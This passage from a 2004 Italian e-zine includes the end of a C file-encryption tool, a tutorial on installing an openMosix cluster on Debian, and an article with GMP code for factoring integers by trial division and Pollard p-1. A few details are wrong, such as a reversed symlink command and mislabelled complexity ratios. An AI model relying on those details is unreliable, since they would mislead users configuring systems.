found.\n");
} else if (strcmp(argv[2],"-rsa") == 0) {
if (fexists(argv[3]) == 1)
rsa_ed(1, argv[3], argv[4], argv[5]);
else fprintf(stderr,"Error: input file not \
found.\n");
} else;
} else if (strcmp(argv[1],"-e") == 0 && \
(argc == 5 || argc == 6) && (strcmp(argv[2],"-idea") == 0 || \
strcmp(argv[2],"-des") == 0 || strcmp(argv[2],"-bf") == 0 || \
strcmp(argv[2], "-rsa") == 0)) {
if (strcmp(argv[2],"-idea") == 0) {
if (fexists(argv[3]) == 1)
idea_encrypt_decrypt(1,argv[3], \
argv[4]);
else fprintf(stderr,"Error: input file not \
found.\n");
} else if (strcmp(argv[2],"-des") == 0) {
if (fexists(argv[3]) == 1)
des_encrypt_decrypt(1,argv[3],argv[4]);
else fprintf(stderr,"Error: input file not \
found.\n");
} else if (strcmp(argv[2],"-bf") == 0) {
if (fexists(argv[3]) == 1)
bf_encrypt_decrypt(1,argv[3],argv[4]);
else fprintf(stderr,"Error: input file not \
found.\n");
} else if (strcmp(argv[2],"-rsa") == 0) {
if (fexists(argv[3]) == 1)
rsa_ed(0, argv[3], argv[4], argv[5]);
else fprintf(stderr,"Error: input file not \
found.\n");
} else;
} else if (strcmp(argv[1],"-fh") == 0 && argc == 3) {
if (fexists(argv[2]) == 1)
md5hash(argv[2]);
else fprintf(stderr,"Error: input file not found.\n");
} else if (strcmp(argv[1],"-fc") == 0 && argc == 4) {
if (fexists(argv[2]) == 1 && fexists(argv[3]) == 1)
md5cmp(argv[2],argv[3]);
else fprintf(stderr,"Error: input files not found.\n");
} else if (strcmp(argv[1], "-grsa") == 0 && argc == 5)
genkey(atoi(argv[2]), argv[3], argv[4]);
else
help(argv[0]);
return 0;
}
-------------------end unisfed.c---------------------------------------
-------------------unisfed.h-------------------------------------------
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define VERSION "0.1"
/* Miscellaneous functions */
int fexists(char *file);
void help(char *name);
/* RSA fucntions */
void* readpemkeys(int type, char *pemfile); /*RSA*/
void genkey(int size, char *secfile, char *pubfile);/*RSA*/
int rsa_encrypt(void *key, unsigned char *plain, int len, \
unsigned char **cipher);/*RSA*/
int rsa_decrypt(void *key, unsigned char *cipher, int len, \
unsigned char **plain);/*RSA*/
/* Block ciphers fucntions */
void bf_encrypt_decrypt(int mode, char *filein, \
char *fileout); /* BlowFish */
void des_encrypt_decrypt(int mode, char *filein, \
char *fileout); /* DES */
void idea_encrypt_decrypt(int mode, char *filein, \
char *fileout); /* IDEA */
/* Hash functions */
void md5cmp(char *file1, char *file2); /* MD5 */
void md5hash(char *filein); /* MD5 */
#include "rsa.c"
#include "block_ciphers.c"
#include "hash.c"
#include "misc.c"
-------------------end unisfed.h---------------------------------------
Ciao a tutti e alla prossima.
Paolo Ardoino AKA binduck <binduck(at)coder<dot>hu>
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.]
:: [O]nda[Q]uadra [0X0B] OQ20040308[0B] ::
:: [0x03][LiNUX] 0PENM0SiX - C0ME iNSTALLARL0 [DaVe & pinkf] ::
[.]::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
-----[Le macchine]-----
I computer a nostra disposizione sono tre Pentium a 133 Mhz, uno a 90
Mhz e un Pentium MMX a 200 Mhz, tutti con almeno 32 Mbyte di ram e 500MB
di disco rigido. Infine un 486DX2 a 66 Mhz e' stato deputato a
funzionare da gateway. Le macchine sono collegate tra loro tramite rete
coassiale a 10 Mbit (10base2).
-----[Installazione del nodo]-----
Bisogna premettere che data la scarsa potenza delle macchine e la
dimensione ridotta degli hard disk la scelta si e' ristretta
necessariamente alle distribuzioni con un sistema di gestione di
pacchetti precompilati integrato, scelta che e'caduta infine su Debian
nella sua ultima incarnazione Woody (v. 3.0rc2). L'installazione di base
occupa circa 70 MB ma comprende il potentissimo tool apt-get che
gestisce l'immenso database di pacchetti disponibili e le relative
dipendenze con pochi semplici comandi:
apt-get install per installare un nuovo pacchetto o una serie di
pacchetti,
apt-get remove per rimuoverlo e
apt-get upgrade per aggiornare automaticamente
tutti i pacchetti alle ultime versioni disponibili in Debian (comprese
le patch di sicurezza).
Per avere tutti i dettagli sull'installazione la migliore soluzione
consiste nel consultare gli ottimi how-to e guide all'installazione di
www.debian.org, ma qualche cenno di maggior rilevanza per i nostri scopi
sembra opportuno.
Nel nostro caso quasi tutte le macchine disponevano di lettore cd-rom,
ma solo una era in grado di avviarsi direttamente da cd; di conseguenza
il primo passo verso l'installazione e'stato di preparare il bootdisk e
il rootdisk previsti da Debian; visto il futuro impiego di un kernel
2.4.22 abbiamo optato per la serie di dischi bf-2.4 con kernel 2.4.18
nella versione modificata dagli sviluppatori di Debian.
Quindi cominciamo con l'installazione vera e propria.
Avviatosi l'installer di Debian, dopo il partizionamento del disco
rigido (con la partizione di swap all'inizio del disco per migliorare le
prestazioni in caso di swapping frequente) e il caricamento del modulo
necessario al funzionamento della scheda di rete, c'e'solamente da
lanciare l'installazione del sistema di base (install base system).
Dopo l'impostazione della password di root e della creazione di almeno
un utente normale, conviene rimuovere i pacchetti per il supporto dello
standard pcmcia come suggerito da debian e soprattutto rimuovere il
pacchetto del server smtp exim, inutile per i nostri scopi e possibile
causa di falle di sicurezza. Infine non conviene usare i tool di
gestione pacchetti di piu'alto livello come dselect e tasksel che
tendono a installare piu'del necessario.
Prima di procedere consiglio inoltre di seguire alcuni accorgimenti per
migliorare le prestazioni e la sicurezza del sistema: disattivare tre o
quattro delle sei console che Debian attiva di default (nel file
/etc/inittab) e soprattutto chiudere tutti i servizi di rete raramente
utili (time, discard, ...) che sono attivati al primo boot (nel file
/etc/inetd.conf).
Il nodo e'ora funzionante, ma mancano gli strumenti necessari per
integrarlo nel cluster. Installiamo allora i seguenti pacchetti:
ssh per la gestione remota del nodo
gcc, make, libncurses5-dev, patch, bzip2 per applicare la patch
openmosix ai sorgenti del kernel e compilarli
Per fare tutto cio'basta digitare
apt-get install ssh gcc make libncurses5-dev patch bzip2
e apt-get si occupera' di tutte le operazioni praticamente senza rendere
necessario l'intervento dell'utente.
In seguito si possono installare allo stesso modo anche lftp e less che
possono risultare utili e anche ntpdate che permette di mantenere piu' o
meno sincronizzati gli orologi dei nodi anche in caso di batterie cmos
esaurite, cosa piuttosto comune nelle macchine di qualche anno fa.
Posto che il nodo abbia accesso a internet si puo' aggiornare o
addirittura installare direttamente i pacchetti da un mirror di Debian.
La procedura e' semplice:
apt-setup
e'un comodo tool per la localizzazione dei siti mirror.
Questo comando modifica il file /etc/apt/sources.list, che eventualmente
si puo'modificare anche a mano.
In modo trasparente all'utente apt-get non cerchera' piu' i pacchetti
dal lettore cd-rom ma li cerchera' sui mirror ftp e http indicati.
-----[Kernel & openMosix]-----
Per far diventare il nostro sistema un nodo del cluster openmosix avremo
bisogno dei sorgenti del kernel ufficiali prelevabili da ftp.kernel.org,
dell'apposita patch e degli openmosix-tools entrambi disponibili sul
sito del progetto openMosix e cioe' www.openmosix.org. Nel nostro caso
abbiamo utilizzato il kernel in versione 2.4.22, la patch
openmosix-2.4.22-1 e i tools versione 0.3.4 (per comodita' e chiarezza
usero' negli esempi questi numeri di versione, ma la sostanza si puo'
applicare anche alle versioni successive).
Ora, posto che i sorgenti siano tutti compressi con bzip2, conviene
spostarli tutti nella stessa directory (/usr/src va benissimo) e
procedere nel modo seguente: decomprimere il file dei sorgenti di linux
e estrarre il tarball:
tar -xjvf linux-2.4.22.tar.bz2
copiare il file della patch o spostarlo nella directory linux-2.4.22 e
creare un link simbolico alla directory in questo modo:
ln -s linux-2.4.22 linux-openmosix
Infine va applicata la patch con il comando:
bzcat openmosix-2.4.22-1.tar.bz2 | patch -Np1
Ora si puo'configurare il kernel con il consueto make menuconfig o nel
modo che si preferisce.
Nel menu di configurazione del kernel comparira' se tutto e' stato fatto
correttamente, un sottomenu openMosix.
Per questa sezione i parametri corretti sono:
openMosix process migration support Y
Support clusters with a complex network topology N (perche' per
il nostro esempio la topologia e' banale)
Stricter security on openMosix ports Y
Level of process-identity disclosure 3
openMosix File-System Y
per le altre tre opzioni non ho molte notizie, ma leggendo un po' in
giro ho visto che vanno bene tutte e tre su Y.
Per la compilazione del resto kernel non c'e'alcuna raccomandazione
specifica, se non quella generica di togliere tutto cio' che non e'
necessario.
Ricordatevi che per quanto riguarda la configurazione del sottosistema
openMosix, le flag devono essere uguali per tutti i nodi. Invece il
resto del kernel puo' essere configurato secondo le necessita' dei singoli
nodi.
Poi si puo'procedere con la solita procedura per la compilazione (circa
6 ore sul 486, 30 minuti sul P200) e per l'installazione del nuovo
kernel. Una volta riavviato il sistema e verificato il funzionamento del
kernel appena compilato, si e' pronti per gli ultimi passi.
-----[openMosix-Tools: installazione e configurazione]-----
Il tar.gz dei tools va decompresso e i sorgenti estratti dal tarball;
l'installazione dei tools va fatta dopo aver riavviato il sistema con il
nuovo kernel. Altrimenti l'installazione dara'un errore del tipo:
this is non an OpenMosix system
Per compilare i sorgenti dei tools bastano i tipici tre comandi:
./configure
make
make install
non sono previste dipendenze particolari, tranne le ncurses gia'
installate in precedenza.
Per far partire il sistema openmosix all'avvio, si puo'alternativamente
installare
apt-get install openmosix
oppure copiare lo script di avvio nella cartella /etc/init.d con
cp /usr/src/openmosix-tools-xyz/scripts/openmosix /etc/init.d
per poi linkarlo nel livello di init di nostra scelta (di solito init 3)
per avviarlo in automatico
ln -s /etc/init.d/S99openmosix /etc/init.d/openmosix
L'ultimo sforzo consiste nel rimpiazzare il file /etc/openmosix.map di
default con quello utilizzato dal resto del cluster (che riporta la
mappatura numero nodo-ip anche del nodo stesso) oppure se questo e'il
primo nodo crearne uno nuovo e riavviare il tutto con
/etc/init.d/openmosix restart.
Una piccola nota: prima di aggiungere un nuovo nodo al cluster e'
conveniente aggiungerlo prima nel file openmosix.map di tutti gli altri
nodi e solo alla fine attivarlo; se il nuovo nodo viene attivato prima
che gli altri ne riconoscano l'esistenza, tutte le sue richieste
verranno respinte come illegali, cosa che provochera' un flood di
messaggi sulle console degli altri nodi e che le rendera' quasi
inutilizzabili.
Il file /etc/openmosix.map bisogna modificarlo come nell'esempio
eguente:
# MOSIX-# IP number-of-nodes
# ============================
1 192.168.1.1 1
2 192.168.1.2 1
3 192.168.1.3 1
##nel caso che il prossimo nodo sia anch'esso un cluster
##si metta
5 indirizzocluster numerodinodi
Per concludere questa parte si puo' dire che se e' stato correttamente
scritto anche il file /etc/hosts con le corrispondenze nomemacchina-IP
si puo' sostituire il nome macchina all'IP.
Se tutto e' andato a buon fine, i file openmosix.map sono stati copiati
su tutte le macchine, si puo'lanciare su ognuna il comando
/etc/init.d/openmosix start
Per controllare in ogni istante se la configurazione e' a posto si puo
vedere con
/etc/init.d/openmosix status
o eventualmente chiudere le comunicazioni con
/etc/init.d/openmosix stop.
-----[openMosixFileSystem]-----
Come avrete visto abbiamo configurato nel kernel il supporto a un file
system di openmosix. In pratica e' una specia di nfs, molto piu'
semplice, che condivide tutto il disco dei nodi. questo puo' servire al
sistema per il passaggio di dati, ad esempio.
Per settarlo bisogna aggiungere al file /etc/fstab la seguente linea
mfs /mfs mfs odfsa=1 0 0
che provvedera' a montare il file system nella directory /mfs, che
verra' automaticamente creata.
E' interessante vederne il contenuto: ci sono le cartelle 1 2 3 ecc. che
rappresentano i nodi. Possiamo percio' copiare dati da una macchina
all'altra senza usare scp, sempre se abbiamo i permessi corretti.
Inoltre ci sono alcune cartelle di servizio che possono essere utili per
chi ha voglia di scrivere scripts specifici per OM.
-----[openMosix-Tools: utilizzo]-----
Una volta in funzione openMosix opera in modo trasparente per l'utente.
I processi migrano tra le macchine senza richedere niente in run-time.
Logicamente si puo' forzare il sistema a migrare un processo, ad
accettare o no l'esecuzione processi di altri utenti eccetera.
Gli openmosix tools che abbiamo installato provvedono a tutte queste
necessita'. Il comando
mosmon
permette di visualizzare su terminale lo stato di carico di ogni nodo,
usando un grafico a barre. Con il tasto h si possono vedere le opzioni
di visualizzazione. Il comando
mtop
e' simile al noto top, ma ha in piu' l'indicazione di dove sta girando
il nostro processo. Similmente fa
mps
che, avrete capito, e' la versione cluster di ps.
Un altro comando utile e'
migrate IDPROCESSO NUMERONODO
che forza la migrazione del processo contrassegnato da IDPROCESSO nel
nodo NUMERONODO.
OpenMosix all'avvio controlla una serie di parametri della nostra
macchina per classificarla all'interno del cluster. Per esempio,
basandosi anche sui bogomips, determina la velocita' relativa tra le
macchine. Se per esempio noi avessimo in cluster un nuovissimo Pentium%$
e un vecchio 386, probabilmente nessun processo migrera' dal computer
piu' veloce a quello piu'lento.
Noi possiamo vedere l'indice di velocita' letto da openMosix con
mosctl getspeed
e pareggiare le velocita' col comando
mosctl setspeed NUMERO
cosi' il sistema credera' di avere a disposizione due macchine uguali.
Mosctl e' il comando totale per il tuning del sistema e devo rimandarvi
al man mosctl per tutte le altre opzioni.
Per chi ha anche installato X o Apache ci sono un paio di altri
divertenti tools.
Openmosixview e openmosixwebview possono essere scaricato dal sito web
di OM e provvedono una interfaccia X o web per il controllo anche remoto
del cluster. Purtroppo parlare anche di questi comodi pacchetti per
adesso potrebbe essere scomodo e lungo. Permettono di controllare e
anche di modificare i parametri del cluster anche da remoto. Voglio solo
ricordare che per la versione X c'e'bisogno delle librerie qt, e per la
versione web ci vuole apache (o altro web server) e mod_php compilato
con le estensioni gd.
-----[openMosixStressTest: installazione]-----
Un modo per testare il cluster e' con il programma omtest, sempre sul
sito web di OM. Il test esegue alcuni programmi e scripts che impegnano
cpu e memoria molto intensamente. Uno dei programmi genera chiavi RSA e
per questo richiede le librerie ssl da preinstallare. Inoltre usa molto
il linguaggio perl, che dovrebbe essere compreso nell'installazione di base.
Il file omtest.XYZ.tar.gz va unzippato in una cartella, di solito
/usr/src/omtest con
tar xzvf omtestXYZ.tar.gz /usr/src/omtest
Spostandoci all'interno di omtest troviamo la cartella required;
all'interno troviamo due cartelle che contengono alcuni moduli perl
necessari per il test. In entrambe le cartelle diamo i comandi
perl Makefile.PL
make
make install
per installarli correttamente.
Adesso nella cartella omtest possiamo lanciare il test con
./start_openMosix_test.sh
-----[openMosixStressTest: alcune considerazioni]-----
-----[sulle prestazioni del cluster]-----
Il primo metodo per testare il cluster e' l'openMosix stress test del
quale abbiamo visto l'installazione qualche riga piu' su. I risultati non
sono stati molto confortanti in assoluto, visto che il cluster ha
portato a termine il test in circa 10 ore quando 5 Athlon 800 lo
completano in 40 minuti e tre Athlon 1300 in 20 minuti!
(http://alumnes.eup.udl.es/~b4767512/07.openMosix/tfc_EUP_2003/).
Durante l'esecuzione del test si puo' monitorare il carico sui nodi con
i comandi visti prima: se il sistema funziona bene, su macchine omogenee
avremo il carico ben bilanciato su tutti i nodi.
Dopodiche' per far lavorare il cluster per un po' di tempo abbiamo
installato sul nodo principale il noto software seti@home e abbiamo
lanciato cinque suoi processi contemporaneamente con uno script.
Il singolo tempo di calcolo di un'unita' seti e' di circa 57 ore (contro
le circa 4 di un Athlon 800), ma qui il cluster ha fatto il suo dovere:
a regime produceva in media circa 1.5 unita' di seti al giorno il che
vuol dire ridurre la computazione della singola unita' a 16 ore, cioe'
una riduzione del tempo di calcolo del 72%! Sul sito
http://fattoria.ccni.it ci sono i link per vedere i risultati del
calcolo.
Da notare che non e' necessario installare i software di "lavoro" su
tutti i nodi del cluster. In realta' i nodi del cluster potrebbero
tranquillamente essere macchine diskless che fanno boot da una macchina
principale. Quindi al sistema openmosix basta avere il kernel, la
connessione di rete e poco altro.
Per motivi tecnici (un salvavita malfunzionante) abbiamo dovuto spegnere
le macchine del cluster e non abbiamo potuto eseguire ulteriori test, ad
esempio per analizzare bene la scalabilta' del software che si puo'
far girare sul cluster, ma ci ripromettiamo di farlo e di rendere noti i
risultati appena saremo in grado di proseguire.
-----[openMosix: un po' di teoria per concludere]-----
Quando lanciamo un processo, o meglio piu' processi, viene riservata dal
kernel un'area di memoria dedicata e privata per ogni processo. Quando
un sistema e' sovraccaricato, OpenMosix non fa altro che prendere
quest'area di memoria e spostarla tramite la rete su un nodo che e' piu'
scarico. Sulla macchina nuova viene aggiornato lo scheduler dei processi
aggiungendo il nuovo processo alla coda. Quindi non serve avere in
esecuzione o in memoria di tutti i nodi il software che stiamo usando.
Basta avere una macchina di "produzione" con tutto l'occorrente e il
resto del cluster non deve avere niente di piu' del necessario.
Voglio ricordare che openMosix gestisce correttamente solo processi
concorrenti separati e non quelli a memoria condivisa. Cioe' se lancio
due processi che lavorano sullo stesso input, questi non possono essere
migrati indipendentemente, perche' condividono una risorsa, il file di
input. Al contrario due processi che usano risorse separate possono
migrare indipendentemente senza problemi.
Per esempio openMosix non puo'aiutarvi a fare un encoding di una canzone
in meta' tempo lanciando due istanze di bladeenc, per esempio, ma
richiedera' meta' tempo codificarne due, perche' saranno migrati ed
eseguiti su due processori.
Il tempo di migrazione di un processo varia secondo l'hardware della
macchina. Generalmente i processi migrano dopo un paio di secondi dal
raggiungimento della soglia di carico sul nodo. Ma cio' significa che i
processi che durano meno di un paio di secondi, ad esempio le
compilazioni, anche se caricano il nodo oltre alla soglia, il processo
non migra. Se prevedete di usare un cluster per velocizzare la
compilazione bisogna rivolgersi a distcc.
Questo in linea di massima, esistono sempre delle eccezioni. Consultate
il sito di openMosix, ci sono varie spiegazioni su cio' che si puo' non
si puo' fare.
Speriamo di essere stati chiari
Buon clustering!
Martin <pinkf(at)ccni<dot>it> & DaVe <dave(at)ccni<dot>it>
http://Fattoria.ccni.it
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.]
:: [O]nda[Q]uadra [0X0B] OQ20040308[0B] ::
:: [0x04][C0DiNG] FACT0RiNG LARGE iNTEGERS [binduck] ::
[.]::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
0.0] - Intro
1.0] - Metodo classico
1.1] - Implementazione del metodo classico
1.2] - Alcuni risultati del metodo classico
2.0] - Metodo di Pollard p-1
2.1] - Implementazione del metodo di Pollard p-1
2.2] - Alcuni risultati del metodo Pollard p-1
3.0] - Conclusione
0.0] - Intro
In questo articolo ci occuperemo dell'implementazione di un algoritmo
utile alla fattorizzazione di interi molto grandi. L'interesse per
questo particolare tipo di algoritmi e' indotto dal fatto che l'RSA
basa la sua solidita' sulla difficolta' di fattorizzare numeri di
grandi dimensioni.
Prendiamo per come esempio una chiave RSA-512 [512 bits]:
usando il GNFS [Generalized Number Field Sieve] sono stati impiegati
2 mesi su 300 PC 400 MHz con 64Mb di RAM [per un equivalente di 8000
MIPS-Year] per la parte del sieving, mentre sono stati impiegati 10
giorni su un Cray C90 per risolvere la matrice.
Vediamo quanto tempo impiegheremmo con chiavi a 576, 1024, 2048 bits:
[indichiamo con "t" il tempo impiegato per computare 2^512]
LOG(2^576) / LOG(2^512) = 10.9 [tempo[2^576] = 10.9 * t]
LOG(2^1024) / LOG(2^512) = 7 * 10^6 [tempo[2^1024] = t*7*10^6]
LOG(2^2048) / LOG(2^512) = 9 * 10^15 [tempo[2^2048] = t*9*10^15]
Come possiamo desumere da questi dati tentare di computare una chiave
2^2048 bits e' una follia per ora anche parallelizzando massicciamente,
infatti anche supponendo di avere la disponibilita' di 10^6 computers
il tempo richiesto per fattorizzare una chiave a 1028 bits sarebbe
comunque di 9*10^9 volte il tempo richiesto da una chiave a 512 bits,
quindi rimane comunque improponibile.
In questo articolo presento due algoritmi:
- il primo e' il metodo classico.
- il secondo non e' certamente un algoritmo velocissimo [ovviamente e'
molto piu' veloce del metodo classico; il primato della velocita' e'
per ora detenuto dal NFS [Number Field Sieve o Crivello del campo
numerico], e non e' certo un esempio molto complicato ma esprime
facilmente il concetto di fattorizzazione di un intero con un metodo
abbastanza veloce; fu inventato da Pollard [si chiama infatti Pollard
p-1] ed e' anche utile a capire l'algoritmo sviluppato da H.W. Lenstra
basato sulle Curve Ellittiche, che trattero' nel prossimo articolo
su questo argomento.
1.0 ] - Metodo classico
a]Sia N un numero intero >= 2 di cui si devono trovare i fattori primi.
b]Sia sqrt la radice quadrata di N [ovviamente si prende solo la parte
intera].
c]Si inizi a dividere N per ogni intero [k > 1] dispari <= sqrt.
Se k|N [k divide N] => abbiamo trovato un fattore primo di N.
Sia N = N / k [anche se il dominio e' Z posso effettuare la divisione
dato che k != 0 ed k|N].
Si riparta dal punto b].
1.1] - Implementazione del metodo classico
Il programma necessita della libreria gmp.
gcc cfmi.c -o cfmi -lgmp
-----------------------------------------------------------------------
/**********************************************************************
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
************************************************************************
(c) 2003 by Paolo Ardoino <binduck@coder.hu>
***********************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <sys/time.h>
#include <gmp.h>
int main(int argc, char *argv[])
{
unsigned long long int tmpui = 0;
mpz_t N, sqrt, tmp, ctr;
struct timeval tm0, tm1;
if (argc != 2) {
fprintf(stderr, "CFMI - Classical Factorization Method \
Implementaion.\n");
fprintf(stderr, "Usage: %s <N>\n", *argv);
fprintf(stderr, "\t<N>: integer to factorize.\n");
exit(EXIT_FAILURE);
} else if (*(argv + 1)){
mpz_init_set_str(N, *(argv + 1), 10);
if (mpz_cmp_ui(N, 1) <= 0) {
fprintf(stderr, "Errot: Please insert N >= 2");
exit(EXIT_FAILURE);
}
gmp_printf("N = %Zd\n", N);
mpz_init(tmp);
gettimeofday(&tm0, NULL);
/* Tries to compute m = N mod 2 */
/* if m == 0 => 2|N [2 is a factor of N] */
while (mpz_mod_ui(tmp, N, 2) == 0) {
printf("Factor = 2\n");
mpz_div_ui(N, N, 2);
}
/* Checks if N == 1 */
if (mpz_cmp_ui(N, 1) == 0) {
mpz_clear(tmp);
mpz_clear(N);
gettimeofday(&tm1, NULL);
printf("Factorization has been completed in %ld seconds.\n",\
tm1.tv_sec - tm0.tv_sec);
exit(EXIT_SUCCESS);
}
/* Checks if N is prime */
/* Uses a probility primality test that has */
/* probabity of failure == 0.25 ^ x [here x == 10] */
if (mpz_probab_prime_p(N, 10) > 0) {
gmp_printf("Factor = %Zd\n", N);
mpz_clear(tmp);
mpz_clear(N);
gettimeofday(&tm1, NULL);
printf("Factorization has been completed in %ld seconds.\n",\
tm1.tv_sec - tm0.tv_sec);
exit(EXIT_SUCCESS);
}
mpz_init(sqrt);
mpz_init_set_ui(ctr, 3); /* sets ctr = 3 */
mpz_sqrt(sqrt, N);
if (mpz_odd_p(sqrt) == 0)
mpz_add_ui(sqrt, sqrt, 1);
/* while ctr < sqrt(N) */
while (mpz_cmp(ctr, sqrt) < 0) {
while (1) {
mpz_mod(tmp, N, ctr);
if (mpz_cmp_ui(tmp, 0) == 0) {
gmp_printf("Factor = %Zd\n", ctr);
mpz_div(N, N, ctr);
mpz_sqrt(sqrt, N);
if (mpz_odd_p(sqrt) == 0)
mpz_add_ui(sqrt, sqrt, 1);
} else
break;
}
mpz_add_ui(ctr, ctr, 2);
if (mpz_cmp_ui(N, 1) == 0) {
mpz_clear(tmp);
mpz_clear(N);
mpz_clear(ctr);
mpz_clear(sqrt);
gettimeofday(&tm1, NULL);
printf("Factorization has been completed in %ld seconds.\n",\
tm1.tv_sec - tm0.tv_sec);
exit(EXIT_SUCCESS);
}
if (mpz_probab_prime_p(N, 10) > 0) {
gmp_printf("Factor = %Zd\n", N);
mpz_clear(tmp);
mpz_clear(N);
mpz_clear(ctr);
mpz_clear(sqrt);
gettimeofday(&tm1, NULL);
printf("Factorization has been completed in %ld seconds.\n",\
tm1.tv_sec - tm0.tv_sec);
exit(EXIT_SUCCESS);
}
}
}
return 0;
}
1.2] - Alcuni risultati del metodo classico
RESULTS OF SPMI - Classical Method Implementation
for large integers factorization
HARDWARE :
CPU model name : AMD Athlon(TM) XP 2000+
CPU MHz : 1666.240
CPU cache size : 256 KB
CPU bogomips : 3322.67
RAM MB : 512 MB
RAM MHz : 266 MHz
SOFTWARE :
Operative System : Gentoo GNU/Linux [kernel v2.6.2]
cfmi.c : my implementation of the classical method
RESULTS :
N[integer to factorize]: 3369738766071892021 [quite 2^32]
Factor: 204518747
Factor: 16476429743
Factorization has been completed in 1115-1142 seconds.
2.0] - Metodo di Pollard p-1
a]Sia N un numero intero >= 2 di cui si devono trovare i fattori primi.
b]Sia b un certo intero limitato.
c]Sia k multiplo di tutti [o al massimo della maggior parte] degli
interi <= b. Ad esempio si puo' considerare k = b!.
d]Si scelga 2 <= a <= N - 2 [random]
e]Si calcoli il Massimo Comun Divisore GCD(a^k - 1 (mod N), N)
[Quindi si deve calcolare a^k - 1 in ZN e trovare il massimo
comun divisore tra questo e N [si usi ad esempio l'algoritmo euclideo
per calcolare il GCD]].
f]Se GCD == 1 allora si ritorni al punto d]; se GCD > 1 e se GCD e'
un numero primo allora si e' trovato un fattore di N non banale.
Vediamo, ora, l'algoritmo da un punto di vista piu' matematico:
k e' multiplo di tutti gli interi <= b
supponiamo che p sia un divisore primo di k tale che -1 sia prodotto
di piccole potenze di primi, tutte minori di b. Quindi k e' multiplo
anche di p-1, poiche' e' multiplo di tutte le potenze dei fattori primi
di p-1. Per Fermat [a^(p-1) = 1 (mod p) con a e p primi tra loro]
a^k = 1 (mod p); quindi p|GCD(a^k - 1, N);ne segue che a^k = 1 (mod N)
rimane l'unica possibilita' di fallimento.
Questo metodo presenta la sua debolezza quando, scelto un N molto
grande, per ogni p|N si ha che p-1 ha fattori primi molto grandi.
2.1] - Implementazione del metodo di Pollard p-1
Il programma necessita della libreria gmp e della libreria matematica.
gcc spmi.c -o spmi -lgmp -lm
-----------------------------------------------------------------------
/**********************************************************************
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
************************************************************************
(c) 2003 by Paolo Ardoino <binduck@coder.hu>
***********************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <sys/time.h>
#include <gmp.h>
#define MAX_B 1000L /* MAX b */
int mai
n(int argc, char *argv[])
{
float b = 0.;
mpz_t N, a, GCD, tmp, k;
struct timeval tm0, tm1;
gmp_randstate_t state;
printf("SPMI - Simple Pollard p-1 Method Implementaion.\n");
printf("(c) 2003 by Paolo Ardoino <binduck@coder.hu>\n");
if (argc != 3) {
fprintf(stderr, "Usage: %s <N> <b>\n", *argv);
fprintf(stderr, "\t<N>: integer to factorize.\n");
fprintf(stderr, "\t<b>: small integer for computation of k.\n");
exit(EXIT_FAILURE);
} else if (*(argv + 1) && *(argv + 2)){
mpz_init_set_str(N, *(argv + 1), 10);
if (mpz_cmp_ui(N, 1) <= 0) {
fprintf(stderr, "Errot: Please insert N >= 2");
exit(EXIT_FAILURE);
}
gmp_printf("N = %Zd\n", N);
b = atof(*(argv + 2));
if (b > MAX_B) {
printf("Warning: b too large. Setting to %ld\n", MAX_B);
b = (float)MAX_B;
}
printf("b = %.0f\n", b);
mpz_init(tmp);
gettimeofday(&tm0, NULL);
/* Tries to compute m = N mod 2 */
/* if m == 0 => 2|N [2 is a factor of N] */
while (mpz_mod_ui(tmp, N, 2) == 0) {
printf("Factor = 2\n");
mpz_div_ui(N, N, 2);
}
/* Checks if N == 1 */
if (mpz_cmp_ui(N, 1) == 0) {
mpz_clear(tmp);
mpz_clear(N);
gettimeofday(&tm1, NULL);
printf("Factorization has been completed in %ld seconds.\n",\
tm1.tv_sec - tm0.tv_sec);
exit(EXIT_SUCCESS);
}
/* Checks if N is prime */
/* Uses a probility primality test that has */
/* probabity of failure == 0.25 ^ x [here x == 10] */
if (mpz_probab_prime_p(N, 10) > 0) {
gmp_printf("Factor = %Zd\n", N);
mpz_clear(tmp);
mpz_clear(N);
gettimeofday(&tm1, NULL);
printf("Factorization has been completed in %ld seconds.\n",\
tm1.tv_sec - tm0.tv_sec);
exit(EXIT_SUCCESS);
}
mpz_init(a);
mpz_init(GCD);
mpz_sub_ui(tmp, N, 1); /* tmp = N - 1 */
mpz_init(k);
mpz_fac_ui(k, b); /* k = b! */
gmp_printf("k = %Zd\n", k);
gmp_randinit_default(state);
while (1) {
mpz_urandomm(a, state, tmp); /* 0 < a < N - 2 */
if (mpz_cmp_ui(a, 1) <= 0)
mpz_set_ui(a, 2);
mpz_powm(tmp, a, k, N); /* computes a^k (mod(N)) */
mpz_sub_ui(tmp, tmp, 1); /* a^k - 1 (mod(N)) */
mpz_abs(tmp, tmp);
mpz_gcd(GCD, tmp, N); /* GCD(a^k - 1 (mod(N)), N) */
if (mpz_cmp_ui(GCD, 1) > 0) { /* GCD > 1 */
if (mpz_probab_prime_p(GCD, 10) > 0) { /* GCD is prime */
gmp_printf("Factor = %Zd\n", GCD); /* GCD is a factor of N */
mpz_div(N, N, GCD);
}
}
if (mpz_cmp_ui(N, 1) == 0) {
mpz_clear(a);
mpz_clear(GCD);
mpz_clear(tmp);
mpz_clear(N);
mpz_clear(k);
